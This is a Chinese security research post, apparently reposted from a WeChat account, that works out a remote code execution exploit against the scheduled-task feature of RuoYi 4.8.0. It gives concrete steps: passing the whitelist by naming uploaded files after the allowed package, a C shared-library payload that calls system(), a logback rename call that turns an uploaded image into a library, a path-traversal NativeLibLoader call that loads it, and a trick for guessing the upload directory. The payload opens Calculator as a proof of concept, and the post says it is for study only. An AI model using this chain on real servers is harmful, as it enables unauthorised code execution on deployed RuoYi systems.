痛苦的时刻,就是真相大白的时刻。只有接受现实,才能做出有意义的改变。 ——《纳瓦尔宝典》
免责声明
请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
需满足的条件
最新版本4.8 Ruoyi 后台目前限制
JOB_WHITELIST_STR
这个也就是com.ruoyi.quartz.task
其实不用类名 包含在自符串里面就行 这里是invokeTarget
而不是beanPackageName
然后不用JOB_ERROR_STR
这个类里面的 从mvn install 后 从其他包下面去寻找可利用的类下的方法就行
需要满足以下条件
传递的参数只能是其中的这些类型 通过 , 进行分割。substringBetween
获取的是() 里面 不能继续包含 )了会截断
那我们可以直接去找String 可控到sink 的类就可以了。
这里反射的时候还需要注意 需要满足 存在一个参构造 且都是public的
总结下来就是需要满足
1.传入的字符串需要包含com.ruoyi.quartz.task
2.不能包含JOB_ERROR_STR
里面的字符串 其实也就是非JOB_ERROR_STR
里面的类
3.需要找的类需要满足 一个无参构造且是Public ,方法也需要是Public。传递的参数只能是基本类型 不可以包含 )
寻找
浅蓝师傅在jndi 中提到https://tttang.com/archive/1405/#toc_nativelibloader
可以加载com.sun.glass.utils.NativeLibLoader.loadLibrary
然后进行rce
但是默认会根据目前的平台进行自动添加后缀 那么其实可以结合上传 比如上传一个图片 去寻找一个重命名的方法即可
上传的话默认接口就可以 filename包含com.ruoyi.quartz.task
即可
通过上面条件写一个ql 通过Codeql寻找 其实可以加一点sink 来进行限制
那么其实就可以写一个
__attribute__((constructor))
staticvoidrun(){
system("open -a Calculator");
}
进行编译
gcc -shared -o libcalc.dylib calc.c
之后进行copy重命名即可
ch.qos.logback.core.rolling.helper.RenameUtil.renameByCopying('/home/ruoyi/uploadPath/avatar/2000/00/00/com.ruoyi.quartz.task_20000000163516A006.png','/home/ruoyi/uploadPath/avatar/2000/00/00/com.ruoyi.quartz.task_20000000163516A006.dylib')
但是这里有一个点了就是上传目录的问题了 /home/ruoyi是默认的 改了的话就需要猜测了 因为4.8.0 控制目录的类给在黑名单里面了。
之后再进行加载就行了
com.sun.glass.utils.NativeLibLoader.loadLibrary('../../../../../../../../home/ruoyi/uploadPath/avatar/2000/00/00/com.ruoyi.quartz.task_20000000163516A006')
利用难点
com.sun.glass.utils.NativeLibLoader.loadLibrary
不是所有JDK都存在的 需要存在FX 或者根据ruoyi显示的jdk目录来替换jar从而rce -
文件上传的路径如果不是默认 /home/ruoyi
就需要猜测了 目前没有找到好的方法
猜测的话可以搭配ch.qos.logback.core.FileAppender.openFile
使用 因为会默认创建一个空文件 猜测前缀即可
ch.qos.logback.core.FileAppender.openFile
('前缀+/uploadPath/download/com.ruoyi.quartz.task.log') 之后访问/profile/前缀+/uploadPath/download/com.ruoyi.quartz.task.log 来判断
文章不足之处欢迎大师傅们指点和纠正,感激不尽。
原文始发于微信公众号(PokerSec):【安全研究】若依4.8.0版本计划任务RCE研究
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论